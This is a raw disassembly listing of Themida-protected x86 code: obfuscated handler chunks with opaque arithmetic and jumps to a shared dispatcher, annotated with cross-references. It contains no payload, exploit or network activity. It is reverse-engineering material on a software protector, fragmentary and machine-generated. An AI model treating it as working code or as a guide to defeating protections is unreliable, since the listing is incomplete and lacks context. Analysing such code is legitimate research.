loc_553F4B: ; CODE XREF: sub_553E75+Ej
add bh, al
pop eax
not bh
sub bh, 0Fh
add ch, 0D8h
add ch, bh
push bx
mov bh, 0D8h
sub ch, bh
pop bx
mov ebx, [esp+4+var_4]
jmp loc_5579BA
; END OF FUNCTION CHUNK FOR sub_553E75
; ---------------------------------------------------------------------------
loc_553F68: ; CODE XREF: Themida_:00551727j
pop esp
mov [esp], ebx
jmp loc_55169F
; ---------------------------------------------------------------------------
loc_553F71: ; CODE XREF: Themida_:0055597Ej
dec dl
dec dl
sub dl, 0A3h
sub bl, dl
pop edx
add bl, al
add bl, 0D6h
add bl, 7Bh
movzx eax, al
push ebx
push 1732h
mov [esp], esp
add dword ptr [esp], 4
mov ebx, [esp]
push eax
mov eax, esp
add eax, 4
push esi
mov esi, 4
sub eax, 0C8A3FB9h
add eax, esi
add eax, 0C8A3FB9h
pop esi
push eax
push dword ptr [esp+4]
mov eax, [esp]
add esp, 4
pop dword ptr [esp]
jmp loc_557CEC
; ---------------------------------------------------------------------------
loc_553FC7: ; CODE XREF: Themida_:005583B8j
mov bl, 5Fh
shl bl, 5
or bl, 18h
push cx
mov cl, 53h
sub bl, cl
mov cx, [esp]
add esp, 2
sub al, 9Ah
jmp loc_555B2C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_553FE3: ; CODE XREF: sub_556A70+F74j
add esi, 4
sub esp, 4
mov [esp-1Ch+arg_18], ebp
mov ebp, 71705CD5h
add ebp, 0FFFFFFFFh
push 62A4h
mov [esp-18h+arg_14], edi
mov edi, 71705CD0h
jmp sub_556769
; ---------------------------------------------------------------------------
loc_55400C: ; CODE XREF: sub_556A70+6139j
add esp, 4
jmp loc_55BC15
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554014: ; CODE XREF: Themida_:0055A6EEj
push 3AD60A2Ah
jmp loc_551831
; ---------------------------------------------------------------------------
mov ax, [esp]
push ecx
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ecx
add ecx, 4
push esi
mov esi, 4BDF3000h
inc esi
neg esi
push ebx
mov ebx, 4A2C3FD3h
add ebx, 53066FC9h
sub ebx, 49A26C78h
xor esi, ebx
pop ebx
push edx
mov edx, 6B53ED9h
add edx, 7ABD73FDh
jmp loc_559C3D
; ---------------------------------------------------------------------------
loc_554066: ; CODE XREF: Themida_:00553178j
pop ebx
sub ecx, 1
jmp loc_5542B4
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5539DB
loc_55406F: ; CODE XREF: sub_5539DB-1D15j
pop esi
jmp loc_55BA4E
; END OF FUNCTION CHUNK FOR sub_5539DB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552634
loc_554075: ; CODE XREF: sub_552634+845Aj
mov esi, 583FA4BEh
sub esi, edx
pop edx
shl esi, 1
jmp loc_55B631
; END OF FUNCTION CHUNK FOR sub_552634
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554084: ; CODE XREF: sub_556A70-3A5Cj
add esp, 4
sub ebp, 2
jmp sub_55BDD5
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55408F: ; CODE XREF: Themida_:00552262j
mov esi, [esp]
add esp, 4
jmp loc_5554B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55409A: ; CODE XREF: sub_556A70+4ECCj
mov edi, 4A5F0080h
sub eax, 6E8B23C2h
add eax, edi
add eax, 6E8B23C2h
pop edi
push ecx
jmp loc_55C183
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5540B2: ; CODE XREF: Themida_:00552E6Bj
sub esp, 4
mov [esp], eax
push ebx
jmp loc_55661A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5540BE: ; CODE XREF: sub_556A70+5686j
pop ebp
shr esi, 3
sub esi, 0AA5B298h
jmp loc_557E3A
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5540CD: ; CODE XREF: Themida_:00555373j
add ebx, eax
jmp loc_555564
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], esi
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
mov esi, [esp]
jmp loc_554625
; ---------------------------------------------------------------------------
loc_5540F9: ; CODE XREF: Themida_:00555EB3j
mov ch, 1Ch
sub esp, 4
mov [esp], ebx
mov bl, 0B2h
inc bl
xor bl, 7Eh
sub bl, 0FFh
add ch, bl
mov ebx, [esp]
add esp, 4
add al, 89h
add al, 0DEh
sub al, 0B4h
add al, ch
add al, 0B4h
jmp loc_55B418
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554125: ; CODE XREF: sub_556A70-2D4Dj
pop esp
mov [esp+0], esi
push [esp+arg_0]
jmp loc_55C831
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554132: ; CODE XREF: Themida_:00556294j
mov edi, 4F4B53DEh
jmp loc_55A366
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55413C: ; CODE XREF: sub_556A70+BB4j
pop ebp
and edi, ecx
pop ecx
sub edi, 1
sub edi, 2A59532Ah
sub edi, 1A80EEEh
add esi, edi
pop edi
jmp loc_5549DC
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552634
loc_55415A: ; CODE XREF: sub_552634+1j
mov ebp, 6605144Eh
add ebp, 0C81D55E6h
sub eax, ebp
pop ebp
jmp loc_55BE06
; END OF FUNCTION CHUNK FOR sub_552634
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55416D: ; CODE XREF: sub_556A70+5C1Fj
mov [esp-8+arg_4], ecx
jmp loc_552E3E
; ---------------------------------------------------------------------------
loc_554175: ; CODE XREF: sub_556A70+4F31j
pop edi
add ebx, 4
xchg ebx, [esp-0Ch+arg_8]
pop esp
push 704Fh
jmp loc_55725A
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55418A: ; CODE XREF: Themida_:00551B2Aj
add esi, 26FB4E67h
pop ebx
add esi, 2
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov ax, [esp]
jmp loc_559DED
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5541AC: ; CODE XREF: sub_556A70-3604j
neg ebp
add ebp, 0CA05E9BAh
jmp loc_5580F0
; ---------------------------------------------------------------------------
loc_5541B9: ; CODE XREF: sub_556A70-E79j
sub bl, dl
pop edx
sub bl, al
jmp loc_55C165
; ---------------------------------------------------------------------------
loc_5541C3: ; CODE XREF: sub_556A70+2091j
or ecx, 5C284AECh
jmp loc_556AAE
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5541CE: ; CODE XREF: Themida_:00552B6Fj
and ah, 0E1h
add ah, 0BCh
add bh, ah
pop eax
mov dl, bh
pop ebx
shl dl, 6
jmp loc_558DF5
; ---------------------------------------------------------------------------
loc_5541E2: ; CODE XREF: Themida_:0055CC29j
push esp
pop eax
push ebx
push esi
jmp loc_5548DE
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5541EB: ; CODE XREF: sub_556A70+1AF2j
pop esi
xor ebx, 3EA24E27h
jmp loc_5596D7
; ---------------------------------------------------------------------------
loc_5541F7: ; CODE XREF: sub_556A70-40A0j
push 50FF2D21h
pop ecx
shr ecx, 2
push ebx
mov ebx, 1F822E52h
or ecx, ebx
pop ebx
add ecx, 0E04010A7h
jmp loc_550FC1
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
neg byte ptr [esp]
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55421D: ; CODE XREF: Themida_:00552EEDj
add bl, al
push 7A30h
mov [esp], eax
push ecx
jmp loc_55C353
; ---------------------------------------------------------------------------
loc_55422D: ; CODE XREF: Themida_:00551A88j
pop esp
push 24ACh
jmp loc_55A6EB
; ---------------------------------------------------------------------------
loc_554238: ; CODE XREF: Themida_:00555214j
add al, 6Fh
jmp loc_557389
; ---------------------------------------------------------------------------
loc_55423F: ; CODE XREF: Themida_:005527C6j
pop eax
xor esi, [esp]
jmp loc_559566
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554248: ; CODE XREF: sub_556A70-53FCj
add ebp, 4
xchg ebp, [esp+0]
mov esp, [esp+0]
jmp loc_559797
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554259: ; CODE XREF: Themida_:005510F3j
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ebp
jmp loc_558B20
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55427B: ; CODE XREF: sub_556A70+2822j
mov [esp+0], edx
mov dl, 1Bh
push edx
mov dl, 4
mov bl, dl
pop edx
sub esp, 4
jmp loc_55C716
; ---------------------------------------------------------------------------
loc_554291: ; CODE XREF: sub_556A70-1A23j
pop esi
mov [eax], edx
jmp loc_55A626
; END OF FUNCTION CHUNK FOR sub_556A70
; =============== S U B R O U T I N E =======================================
sub_554299 proc near ; CODE XREF: sub_556A70+B4Fj
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 00550BD2 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00554DDC SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005586B8 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055BECD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0055BF23 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0055C2C3 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0055C5F0 SIZE 00000011 BYTES
push ebp
mov ebp, 647A05BEh
jmp loc_5586B8
sub_554299 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
loc_5542A4: ; CODE XREF: Themida_:005559E9j
push dword ptr [esp+4]
push dword ptr [esp]
mov ecx, [esp]
push ebp
jmp loc_55936A
; ---------------------------------------------------------------------------
loc_5542B4: ; CODE XREF: Themida_:0055406Aj
and ecx, 642D04C3h
jmp loc_55787E
; ---------------------------------------------------------------------------
loc_5542BF: ; CODE XREF: Themida_:0055B0ECj
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5542C4: ; CODE XREF: sub_556A70+36D6j
mov [esp+0], edx
jmp loc_552FFA
; ---------------------------------------------------------------------------
loc_5542CC: ; CODE XREF: sub_556A70+1262j
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+4+var_4]
pop esp
mov eax, [esp+0]
add esp, 4
jmp sub_5539DB
; ---------------------------------------------------------------------------
loc_5542EA: ; CODE XREF: sub_556A70-5216j
or edx, 215215CCh
xor edx, 22544957h
push edx
not [esp+4+var_4]
pop edx
sub esp, 4
mov [esp+4+var_4], eax
push 13Ah
mov [esp+8+var_8], ecx
mov ecx, 654D59C2h
mov eax, 23E2D7D0h
sub eax, ecx
push [esp+8+var_8]
pop ecx
add esp, 4
jmp loc_55C7DD
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554327: ; CODE XREF: Themida_:00552D88j
push eax
push ebx
mov bh, cl
mov ah, bh
pop ebx
push ecx
jmp loc_5558D8
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554334: ; CODE XREF: sub_556A70+365Fj
push 468Ch
jmp loc_559D7C
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_553D17
loc_55433E: ; CODE XREF: sub_553D17-2BECj
add bl, ah
pop eax
sub bl, al
push eax
mov ah, 3Ch
sub bl, ah
pop eax
movzx eax, al
lea eax, [edi+eax*4]
push 561Bh
jmp loc_5565A5
; END OF FUNCTION CHUNK FOR sub_553D17
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554359: ; CODE XREF: sub_556A70-55EFj
pop ebp
add edx, eax
jmp loc_555097
; ---------------------------------------------------------------------------
loc_554361: ; CODE XREF: sub_556A70-36CCj
mov [esp-14h+arg_10], ecx
mov ch, dl
mov [ebx], ch
push [esp-14h+arg_10]
pop ecx
add esp, 4
pop ebx
jmp loc_553D9F
; ---------------------------------------------------------------------------
loc_554375: ; CODE XREF: sub_556A70-2391j
mov esi, 4
add ebp, esi
pop esi
xchg ebp, [esp-20h+arg_1C]
pop esp
pop edx
xor edx, 3CE5140Eh
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55438D: ; CODE XREF: sub_556A70-42E6j
push 53D1h
mov [esp+2+var_4+2], edx
push esi
add [esp+6+var_8+2], 206F41C5h
pop edx
push edi
push 69695164h
pop edi
push ecx
mov ecx, 2E8E19A8h
shl ecx, 3
xor ecx, 6E383F80h
and ecx, 1D6507EAh
not ecx
jmp loc_5584CE
; ---------------------------------------------------------------------------
loc_5543C1: ; CODE XREF: sub_556A70+3282j
sub edx, 75B15AA8h
add edx, edi
add edx, 75B15AA8h
push eax
mov eax, 0
add eax, edx
jmp loc_557121
; ---------------------------------------------------------------------------
loc_5543DC: ; CODE XREF: sub_556A70+3BC3j
add esi, 4
xchg esi, [esp+0Eh+var_10+2]
pop esp
jmp loc_550F2B
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552B74
loc_5543EB: ; CODE XREF: sub_552B74+41Dj
xchg esi, [esp+4+var_4]
jmp loc_553B05
; END OF FUNCTION CHUNK FOR sub_552B74
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5543F3: ; CODE XREF: sub_556A70+746j
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp+0Ah+var_C+2]
pop esp
xchg edx, [esp+6+var_8+2]
mov esp, [esp+6+var_8+2]
mov ax, word ptr [esp+6+var_8+2]
sub esp, 4
jmp loc_556D6D
; ---------------------------------------------------------------------------
loc_554417: ; CODE XREF: sub_556A70+2CB4j
push [esp+0Ah+var_C+2]
jmp loc_553F3A
; ---------------------------------------------------------------------------
loc_55441F: ; CODE XREF: sub_556A70-50E9j
mov esp, [esp-8+arg_4]
mov [esp-8+arg_4], edx
mov edx, ebx
mov ecx, edx
pop edx
mov esi, ecx
mov ecx, [esp-0Ch+arg_8]
add esp, 4
mov eax, esi
push [esp-10h+arg_C]
pop esi
add esp, 4
push edi
mov edi, esp
push esi
push 3681630h
pop esi
push ebp
push eax
mov eax, 1C9A23C4h
mov ebp, 2D877A67h
xor ebp, eax
pop eax
jmp loc_5514D2
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554459: ; CODE XREF: Themida_:00552CEDj
add ecx, ebx
add ecx, 1CDF1C16h
jmp loc_559A8D
; ---------------------------------------------------------------------------
loc_554466: ; CODE XREF: Themida_:005512DCj
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_558EBB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554472: ; CODE XREF: sub_556A70-41FBj
pop ecx
jmp loc_550FAC
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_554478: ; CODE XREF: sub_5566B9+15j
mov esi, ecx
mov eax, esi
push [esp+0Ch+var_C]
pop esi
jmp loc_558EE4
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554485: ; CODE XREF: sub_556A70-B71j
mov edi, eax
pop eax
mov esi, edi
pop edi
pop ebp
xor [esp-18h+arg_18], esi
pop esi
push [esp-1Ch+arg_18]
push [esp-18h+arg_14]
pop eax
add esp, 4
add esp, 4
xor eax, 4D6D204Dh
push edi
mov edi, 60FB53A1h
push 56BAh
mov [esp-18h+arg_14], esi
mov esi, 604C53B1h
push edx
mov edx, 4CB37305h
shl edx, 2
jmp loc_5546E4
; ---------------------------------------------------------------------------
loc_5544C7: ; CODE XREF: sub_556A70-24D2j
mov dh, 16h
mov al, dh
pop dx
add al, 0A0h
add bl, 12h
add bl, al
jmp loc_556D9A
; ---------------------------------------------------------------------------
loc_5544D9: ; CODE XREF: sub_556A70+1E76j
add esp, 4
or eax, eax
jz loc_5580E2
push dword ptr [edi+28h]
add [esp-16h+arg_10+2], 4DBD2EA6h
jmp loc_551638
; ---------------------------------------------------------------------------
loc_5544F6: ; CODE XREF: sub_556A70-56A3j
pop eax
xchg ecx, [esp-1Ch+arg_18]
mov esp, [esp-1Ch+arg_18]
mov word ptr [esp-1Ch+arg_18], cx
movzx cx, al
push cx
pushf
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55450D: ; CODE XREF: Themida_:00553855j
mov ecx, esp
add ecx, 4
jmp loc_559DDC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_552634
loc_55451A: ; CODE XREF: sub_552634+4437j
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_552634
; ---------------------------------------------------------------------------
lodsd
push 4406h
mov [esp], ecx
mov ecx, 5E835EDEh
jmp loc_555952
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55515F
loc_554532: ; CODE XREF: sub_55515F+10j
sub bl, 0E3h
push ebx
mov bh, 0D7h
add al, bh
pop ebx
add al, bl
sub al, 0D7h
mov bx, [esp+2+var_2]
push ecx
mov ecx, esp
push ebx
push edx
push 2494A33h
pop edx
inc edx
push 4231h
mov [esp+12h+var_12], esi
mov esi, 36803078h
xor edx, esi
pop esi
mov ebx, edx
pop edx
sub ebx, 0E681CB0h
jmp loc_556451
; END OF FUNCTION CHUNK FOR sub_55515F
; ---------------------------------------------------------------------------
loc_55456D: ; CODE XREF: Themida_:00554FFAj
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55457C: ; CODE XREF: sub_556A70-407Dj
or bh, 17h
or bh, 11h
shl bh, 3
add bh, 8Bh
xor bh, 82h
add dl, bh
pop ebx
add dl, 16h
sub bl, dl
pop edx
add bl, al
sub esp, 4
mov [esp-8+arg_4], eax
push dx
jmp loc_5544C7
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5545A3: ; CODE XREF: Themida_:00552642j
sub esp, 4
mov [esp], edi
jmp loc_5530E3
; ---------------------------------------------------------------------------
loc_5545B1: ; CODE XREF: Themida_:00552926j
xor esi, edi
pop edi
add ecx, esi
pop esi
xchg ecx, [esp]
mov esp, [esp]
xor [esp], ax
pushf
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5545C7: ; CODE XREF: sub_556A70+3A97j
mov ch, dl
jmp loc_551D67
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5545CE: ; CODE XREF: Themida_:005514CDj
push edx
jmp loc_55115E
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5545D4: ; CODE XREF: sub_556A70+13EEj
pop esp
push ebx
push 1Ch
pop ebx
jmp loc_559EB6
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55AA5F
loc_5545E1: ; CODE XREF: sub_55AA5F-9EE1j
pop edi
jmp loc_553CE3
; END OF FUNCTION CHUNK FOR sub_55AA5F
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55A748
loc_5545E7: ; CODE XREF: sub_55A748-1D39j
add esp, 4
sub al, bh
push dword ptr [esp+0]
pop ebx
push edx
mov edx, esp
add edx, 4
jmp loc_55C1F6
; END OF FUNCTION CHUNK FOR sub_55A748
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5545FE: ; CODE XREF: sub_556A70-3A93j
mov eax, esp
jmp loc_55527B
; ---------------------------------------------------------------------------
loc_554605: ; CODE XREF: sub_556A70-3C9Dj
add ebp, 4
add ebp, 4
xchg ebp, [esp+4+var_4]
mov esp, [esp+4+var_4]
push ecx
push edi
mov edi, 5DA85F0Ah
mov ecx, edi
jmp loc_55A29E
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554625: ; CODE XREF: Themida_:005540F4j
push edx
jmp loc_55880A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5521AC
loc_55462B: ; CODE XREF: sub_5521AC+Bj
dec bh
shr bh, 4
sub bh, 2Fh
jmp loc_555378
; END OF FUNCTION CHUNK FOR sub_5521AC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554638: ; CODE XREF: sub_556A70-5770j
sub dh, 0D3h
xor al, dh
jmp loc_554D8C
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554642: ; CODE XREF: Themida_:00554E22j
push 4162h
mov [esp], edx
sub esp, 4
push esp
pop dword ptr [esp]
jmp loc_55C210
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554659: ; CODE XREF: sub_556A70-199Ej
shr esi, 1
add esi, 590E0FD8h
neg esi
push eax
mov eax, 362C73EDh
jmp loc_55AD9B
; ---------------------------------------------------------------------------
loc_55466E: ; CODE XREF: sub_556A70-2DABj
add eax, 4
jmp loc_55C384
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554676: ; CODE XREF: Themida_:0055571Aj
add esp, 4
jmp loc_550A46
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55467E: ; CODE XREF: sub_556A70+4C6j
add ebx, 4
add ebx, 4
jmp loc_552E2A
; ---------------------------------------------------------------------------
loc_55468C: ; CODE XREF: sub_556A70-545Bj
and eax, edx
jmp loc_553DE5
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554693: ; CODE XREF: Themida_:0055998Ej
pop ecx
mov edx, [esp]
add esp, 4
add esi, ecx
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_556960
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5546A8: ; CODE XREF: sub_556A70+792j
mov ecx, 1
and eax, ecx
mov ecx, [esp-8+arg_4]
sub esp, 4
mov [esp-4+arg_0], edi
mov edi, esp
push edx
mov edx, 49605C71h
shl edx, 6
shl edx, 2
jmp loc_552A04
; ---------------------------------------------------------------------------
loc_5546CB: ; CODE XREF: sub_556A70+1366j
mov esi, [esp+0]
push 586Fh
mov [esp+4+var_4], ebp
mov ebp, esp
add ebp, 4
push esi
jmp loc_554375
; ---------------------------------------------------------------------------
loc_5546E4: ; CODE XREF: sub_556A70-25AEj
and edx, 579E799Dh
push eax
jmp loc_559398
; ---------------------------------------------------------------------------
loc_5546F0: ; CODE XREF: sub_556A70-528Ej
pop dword ptr [esp+0]
pop esp
push edx
jmp loc_55269D
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_55B403
loc_5546FA: ; CODE XREF: sub_55B403-AFj
pop edi
mov ebx, [esp-4+arg_0]
add esp, 4
xchg ebp, [esp-8+arg_4]
mov esp, [esp-8+arg_4]
push ecx
push ebx
push eax
mov ah, dl
mov bl, ah
mov eax, [esp+4+var_4]
add esp, 4
push eax
jmp loc_55AC37
; END OF FUNCTION CHUNK FOR sub_55B403
; ---------------------------------------------------------------------------
mov ax, [esp]
push 2CDBh
mov [esp], edx
jmp loc_554916
; ---------------------------------------------------------------------------
loc_55472E: ; CODE XREF: Themida_:00552BC0j
pop edi
add eax, 1159079Bh
add eax, ebx
sub eax, 1159079Bh
sub eax, 178B2F8Dh
push ebp
mov ebp, 6043637Eh
sub eax, ebp
mov ebp, [esp]
add esp, 4
push 7CD5h
mov [esp], ebp
push edx
mov edx, 3D1D0DDCh
mov ebp, 2986B245h
xor ebp, edx
mov edx, [esp]
push ecx
mov ecx, esp
push ebp
mov ebp, 34392136h
neg ebp
dec ebp
dec ebp
jmp loc_555CC5
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_554778: ; CODE XREF: sub_556A70-32A8j
sub edx, 4
xchg edx, [esp+8+var_8]
mov esp, [esp+8+var_8]
jmp loc_55557A
; ---------------------------------------------------------------------------
loc_554789: ; CODE XREF: sub_556A70-2C6Cj
mov [esp-14h+arg_10], ecx
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_554791: ; CODE XREF: Themida_:0055927Cj
xchg ecx, [esp]
mov esp, [esp]
add [esp], ax
pushf
jmp loc_550A46
; =============== S U B R O U T I N E =======================================
sub_5547A1 proc near ; CODE XREF: sub_5565AD-321Dj
; FUNCTION CHUNK AT 00551641 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005530A6 SIZE 00000011 BYTES
push ebx
mov ebx, 75F84806h
dec ebx
add ebx, 1D7B5D19h
neg ebx
add ebx, 9373A522h
add esi, ebx
jmp loc_551641
sub_5547A1 endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5547BD: ; CODE XREF: sub_556A70-FBAj
pop ebp
loc_5547BE: ; CODE XREF: sub_556A70+675j
push 2483h
mov [esp-14h+arg_10], edx
jmp sub_55C746
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
mov ax, [esp]
push ebp
push esp
pop ebp
push edx
jmp loc_552A96
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5547D8: ; CODE XREF: sub_556A70+449Aj
add ebp, 36DC7DD0h
dec ebp
neg ebp
inc ebp
sub ebp, 0AC92CC63h
and edi, ebp
pop ebp
sub edi, 10021Ch
add edx, edi
pop edi
add edx, 4
push edx
push [esp-18h+arg_18]
mov edx, [esp-14h+arg_10]
push 1C98h
mov [esp-10h+arg_C], ebx
push esp
pop ebx
add ebx, 4
add ebx, 4
xchg ebx, [esp-10h+arg_C]
pop esp
pop [esp-14h+arg_10]
mov esp, [esp-18h+arg_14]
movzx ecx, al
push esi
push esp
pop esi
add esi, 4
push 3B82h
jmp loc_55CC83
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5566B9
loc_554832: ; CODE XREF: sub_5566B9+3ED0j
push dword ptr [edi+1Ch]
push [esp+8+var_8]
jmp loc_55CA07
; END OF FUNCTION CHUNK FOR sub_5566B9
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_55483D: ; CODE XREF: sub_556A70+984j
and ch, 42h
and ch, 0B5h
inc ch
jmp loc_555D7D
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_55484A: ; CODE XREF: Themida_:00554BCCj
mov ebp, 4
sub ecx, 2CE37E60h
add ecx, ebp
add ecx, 2CE37E60h
pop ebp
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_550A46
; ---------------------------------------------------------------------------
loc_55486D: ; CODE XREF: Themida_:00555F5Aj
shl esi, 2
jmp loc_552364
; ---------------------------------------------------------------------------
loc_554875: ; CODE XREF: Themida_:00553BD9j
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], ebp
mov ebp, 6DB3560Fh
mov eax, 47DC6B33h
not eax
dec eax
shl eax, 1
jmp loc_557286
; ---------------------------------------------------------------------------
mov ax, [esp]
push edi
mov edi, esp
push eax
push edi
push 78084D5Dh
jmp loc_552E70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5548AE: ; CODE XREF: sub_556A70+BA8j
pop dword ptr [edx+38h]
pop esi
jmp sub_55BDF1
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_551E74
loc_5548B7: ; CODE XREF: sub_551E74-768j
push edi
mov edi, 1F7E2703h
sub ebx, 537929D8h
jmp loc_55A8D8
; END OF FUNCTION CHUNK FOR sub_551E74
; ---------------------------------------------------------------------------
loc_5548C8: ; CODE XREF: Themida_:00559C3Ej
sub edx, 0FFFFFFFFh
shl edx, 6
jmp loc_552905
; ---------------------------------------------------------------------------
loc_5548D6: ; CODE XREF: Themida_:0055C2A7j
xchg eax, [esp]
jmp loc_556BB2
; ---------------------------------------------------------------------------
loc_5548DE: ; CODE XREF: Themida_:005541E6j
mov esi, 599C79DCh
jmp loc_558997
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_556A70
loc_5548E8: ; CODE XREF: sub_556A70-2E02j
push dword ptr [edi+eax*4]
jmp loc_550A46
; END OF FUNCTION CHUNK FOR sub_556A70
; ---------------------------------------------------------------------------
loc_5548F0: ; CODE XREF: Themida_:0055C1D6j
xor [esp], eax
xor eax, [esp]
pop esp
push esp
pop dword ptr [esp]
push 6B09h
jmp loc_55B89E
; ---------------------------------------------------------------------------
